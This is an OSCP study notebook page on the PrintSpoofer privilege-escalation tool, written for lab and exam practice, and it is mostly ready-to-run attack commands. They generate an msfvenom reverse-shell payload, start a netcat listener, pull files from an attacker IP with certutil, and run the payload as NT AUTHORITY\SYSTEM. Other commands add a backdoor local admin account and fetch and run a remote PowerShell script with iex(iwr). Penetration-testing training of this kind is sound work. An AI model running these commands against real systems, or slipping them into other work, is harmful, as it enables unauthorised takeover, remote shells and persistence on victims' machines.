Pearson's OSCP Notebook

PrintSpoofer

Properties1
tagsprintspoofer, potato, seimpersonate, token-impersonation, print-spooler, windows, privilege-escalation, certutil, msfvenom, oscp

4 min read

PrintSpoofer — Spooler Coercion to SYSTEM

Ctrl+F: PrintSpoofer64.exe · -i -c · -c "cmd" · SeImpersonate · spooler · certutil

PrintSpoofer (itm4n/PrintSpoofer) abuses the Print Spooler service to coerce NT AUTHORITY\SYSTEM into authenticating to your process, then impersonates that token. Requires SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege).

When: whoami /priv shows SeImpersonate — try GodPotato first on modern boxes; use PrintSpoofer when GodPotato fails or target is Win 10 / Server 2016–2019.

→ Potato Attacks (decision guide + all Potatoes) · SeImpersonatePrivilege · Windows PrivEsc

📌 Quick two-liner (serve + download)

python3 -m http.server -d ~/Tools 8000
certutil -urlcache -split -f http://192.168.45.227:8000/potatos/PrintSpoofer64.exe PrintSpoofer64.exe
.\PrintSpoofer64.exe -c "revshell.exe"

Replace 192.168.45.227 with your tun0 IP and put PrintSpoofer64.exe in ~/Tools/potatos/ (or whatever folder you serve).

📌 Full OSCP workflow (lab-tested)

Attacker — serve tools + listener:

mkdir -p ~/Tools/potatos
wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe -O ~/Tools/potatos/PrintSpoofer64.exe
 
python3 -m http.server -d ~/Tools/potatos 8000
 
# Reverse shell payload (match target arch — x64 most common)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=4444 -f exe -o ~/Tools/potatos/revshell.exe
 
rlwrap nc -lnvp 4444

Target — download + run as SYSTEM:

whoami /priv
 
certutil -urlcache -split -f http://192.168.45.227:8000/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe
certutil -urlcache -split -f http://192.168.45.227:8000/revshell.exe C:\Windows\Temp\revshell.exe
 
cd C:\Windows\Temp
.\PrintSpoofer64.exe -i -c "revshell.exe"

Expected callback: SYSTEM reverse shell on your listener.

Alternate revshell names that worked in labs:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.226 LPORT=9999 -f exe -o 'revshell.exe'
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=4444 -f exe -o sh.exe
.\PrintSpoofer64.exe -c "revshell.exe"
.\PrintSpoofer64.exe -i -c "sh.exe"

→ Msfvenom · Netcat · Shell · File Transfer · certutil

📌 1) Check eligibility

whoami /priv
whoami /all
PrivilegePrintSpoofer works?
SeImpersonatePrivilege✅ Yes
SeAssignPrimaryTokenPrivilege✅ Yes
Neither❌ Try other privesc → Windows PrivEsc

Common accounts with SeImpersonate:

AccountContext
IIS APPPOOL\...IIS app pool shell
NT SERVICE\MSSQL$...SQL Server service
LOCAL SERVICE / NETWORK SERVICEGeneric service accounts

→ IIS · MSSQL

📌 2) Download on Kali

mkdir -p ~/Tools/potatos
wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe -O ~/Tools/potatos/PrintSpoofer64.exe
wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer32.exe -O ~/Tools/potatos/PrintSpoofer32.exe
BinaryUse when
PrintSpoofer64.exe64-bit target (most OSCP boxes)
PrintSpoofer32.exe32-bit target

Check arch on target:

wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

→ Installation - Kali Setup > 📌 Privilege escalation

📌 3) Transfer to target

# HTTP serve (recommended)
python3 -m http.server -d ~/Tools/potatos 8000
certutil -urlcache -split -f http://ATTACKER_IP:8000/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe

evil-winrm:

upload /home/kali/Tools/potatos/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe

SMB (if HTTP blocked):

cd ~/Tools/potatos && impacket-smbserver share . -smb2support
copy \\ATTACKER_IP\share\PrintSpoofer64.exe C:\Temp\PrintSpoofer64.exe

→ evil-winrm · File Transfer

📌 4) Flags & usage

FlagDescription
-iInteractive — keep impersonated process attached
-c "PROGRAM"Program/command to run as SYSTEM
-d "PATH"Working directory for impersonated process
REM Confirm SYSTEM (non-interactive)
.\PrintSpoofer64.exe -c "whoami"
REM Expected: nt authority\system
 
REM Interactive SYSTEM cmd
.\PrintSpoofer64.exe -i -c cmd
 
REM Reverse shell via uploaded EXE
.\PrintSpoofer64.exe -i -c "C:\Windows\Temp\revshell.exe"
.\PrintSpoofer64.exe -c "revshell.exe"
 
REM Add local admin
.\PrintSpoofer64.exe -c "net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"
 
REM Custom working directory
.\PrintSpoofer64.exe -i -c cmd -d C:\Temp

PowerShell one-liner (no separate revshell EXE):

.\PrintSpoofer64.exe -c "powershell -nop -w hidden -c iex(iwr http://ATTACKER_IP/shell.ps1 -UseBasicParsing)"

📌 5) Where PrintSpoofer fits (Potato order)

whoami /priv → SeImpersonatePrivilege Enabled?
│
├─ 1. GodPotato          ← try first (modern default)
├─ 2. PrintSpoofer        ← YOU ARE HERE (spooler coercion)
├─ 3. SigmaPotato
├─ 4. RoguePotato         (needs victim → attacker connectivity)
├─ 5. JuicyPotato         (legacy / pre-1809 only)
└─ Fallback: SweetPotato  (-e PrintSpoofer mode = same technique)

Full comparison table → Potato Attacks > 📌 2) Which Potato to Use — Decision Guide

Toolvs PrintSpoofer
GodPotatoTry before PrintSpoofer on Server 2012–2022 / Win 8–11
SweetPotato-e PrintSpoofer runs the same spooler path inside one binary
JuicyPotatoDCOM-based — broken on patched Win10 1809+; use PrintSpoofer instead

📌 6) Troubleshooting

ProblemFix
No SYSTEM / access deniedTry GodPotato first; confirm SeImpersonate enabled
Wrong archMatch x64 vs x86 binary to target
AV deletes EXERename binary, use C:\Windows\Temp\, or SweetPotato / in-memory path
No callback on revshellFirewall — try different port; confirm listener IP is tun0
Spooler disabledSwitch to GodPotato or SweetPotato -e EfsRpc / -e DCOM
-c path failsUse full path: -c "C:\Windows\Temp\revshell.exe"

📌 Quick cheat sheet

# Kali
python3 -m http.server -d ~/Tools/potatos 8000
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o revshell.exe
rlwrap nc -lnvp 4444
whoami /priv
certutil -urlcache -split -f http://ATTACKER:8000/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe
certutil -urlcache -split -f http://ATTACKER:8000/revshell.exe C:\Windows\Temp\revshell.exe
.\PrintSpoofer64.exe -i -c "C:\Windows\Temp\revshell.exe"
.\PrintSpoofer64.exe -c "whoami"

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks